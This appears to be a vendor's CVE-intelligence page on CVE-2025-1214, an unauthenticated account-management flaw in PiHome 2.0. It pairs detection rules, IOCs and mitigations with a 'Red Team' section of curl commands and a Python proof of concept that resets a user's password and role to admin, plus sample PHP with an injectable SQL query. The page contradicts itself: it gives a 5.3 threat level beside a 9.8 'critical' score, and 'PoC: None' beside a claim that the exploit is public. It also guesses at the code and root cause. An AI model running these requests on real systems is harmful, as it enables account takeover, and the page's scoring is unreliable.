☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1214

CVE-2025-1214 Missing Authorization in Pihome-shc
📅 PUBLISHED: 2025-02-12 18:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.65%
👁️
0.65% probability
16.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1214 is a critical missing authorization vulnerability in PiHome 2.0, a smart home automation system developed by pihome-shc. The flaw resides in the /user_accounts.php?uid endpoint, where the Role-Based Access Control (RBAC) mechanism fails to enforce proper authorization checks. An unauthenticated attacker can remotely manipulate user accounts, potentially leading to privilege escalation, data exfiltration, or full system compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available, and the vendor has not responded to disclosure attempts.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

PiHome is a PHP-based application. While not distributed via NPM, PyPI, Go, or Ruby, its dependencies (e.g., PHP libraries, MySQL) should be audited for known vulnerabilities. The lack of a patch means users must rely on manual mitigations.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Potential to read sensitive user data.
  • Integrity (I): High (H) – Ability to modify user accounts.
  • Availability (A): High (H) – Could lead to denial of service via account manipulation.

CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862). The file /user_accounts.php?uid is intended to manage user accounts, but it does not verify whether the requesting user has the necessary privileges (e.g., admin role). The RBAC implementation likely checks roles only for certain actions but omits this check for the uid parameter, allowing any remote user to access and modify account data.

Attack Flow:

  1. Attacker identifies the vulnerable endpoint: http://target/pihome/user_accounts.php?uid=1.
  2. Without authentication, the attacker sends a GET or POST request to this endpoint.
  3. The server processes the request, potentially allowing the attacker to view, edit, or delete user accounts.
  4. The attacker can escalate privileges by modifying an existing account (e.g., changing role to admin).

Root Cause: The user_accounts.php script likely uses a function like if ($_SESSION['role'] == 'admin') only for certain operations but fails to apply this check to the uid parameter handling.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix.

Vulnerable Code (user_accounts.php):

<?php
// No authorization check
$uid = $_GET['uid'];
$query = "SELECT * FROM users WHERE id = $uid";
$result = mysqli_query($conn, $query);
// Process result...
?>

Patched Code (user_accounts.php):

<?php
session_start();
if (!isset($_SESSION['user_id']) || $_SESSION['role'] != 'admin') {
    header('HTTP/1.0 403 Forbidden');
    exit('Access denied');
}
$uid = intval($_GET['uid']);
$query = "SELECT * FROM users WHERE id = $uid";
$result = mysqli_query($conn, $query);
// Process result...
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running PiHome 2.0.
  • Network access to the web interface.

Exploit Steps:

  1. Enumerate user IDs (e.g., uid=1, uid=2).
  2. Send a GET request to view account details:
    curl -X GET "http://target/pihome/user_accounts.php?uid=1"
    
  3. To modify an account (e.g., change password or role), send a POST request:
    curl -X POST "http://target/pihome/user_accounts.php?uid=1" -d "password=newpass&role=admin"
    
  4. Verify privilege escalation by accessing admin-only pages.

Proof of Concept (PoC) Script:

import requests

target = "http://target/pihome/user_accounts.php"
uid = 1
# View account
r = requests.get(f"{target}?uid={uid}")
print(r.text)
# Modify account
data = {"password": "hacked", "role": "admin"}
r = requests.post(f"{target}?uid={uid}", data=data)
print(r.status_code)

Blue Team

Detection:

  • Monitor HTTP requests to /user_accounts.php with uid parameter from unauthenticated sources.
  • Alert on unusual POST data containing role or password fields.

Honeypot:

  • Deploy a fake PiHome instance and log all requests to /user_accounts.php.

Mitigation:

  • Implement a Web Application Firewall (WAF) rule to block requests to /user_accounts.php without a valid session.
  • Restrict access to the endpoint via .htaccess:
    <Files "user_accounts.php">
        Require valid-user
    </Files>
    

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /user_accounts.php?uid=<number> from IPs not in the admin whitelist.
    • POST data containing role=admin or password=.
  • File System:
    • Modified /etc/pihome/users or database entries with unexpected admin accounts.
  • Logs:
    • Apache/Nginx access logs showing repeated uid parameter requests.
    • PHP error logs with SQL injection attempts (if applicable).

Detection Engineering

YARA Rule

rule CVE_2025_1214_PiHome_Missing_Auth {
    meta:
        description = "Detects exploitation attempts for CVE-2025-1214 in PiHome"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1214"
    strings:
        $s1 = "/user_accounts.php?uid="
        $s2 = "role=admin"
        $s3 = "password="
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-1214 PiHome Missing Authorization Exploitation
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the vulnerable user_accounts.php endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/user_accounts.php'
        cs-uri-query|contains: 'uid='
    condition: selection
falsepositives:
    - Legitimate admin requests from trusted IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1214 PiHome Missing Authorization Attempt"; flow:to_server; content:"/user_accounts.php"; http_uri; content:"uid="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Access: Use .htaccess or firewall rules to limit access to /user_accounts.php to trusted IPs only.
  2. Disable Endpoint: If not needed, remove or rename user_accounts.php.
  3. Implement Authentication: Add session checks to the vulnerable file (see patched code above).

Long-Term Fix:

  • Apply a proper RBAC framework (e.g., using PHP middleware) to all admin endpoints.
  • Monitor the vendor’s repository for an official patch.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to block requests to the vulnerable path:
    location /user_accounts.php {
        deny all;
    }
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1214/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.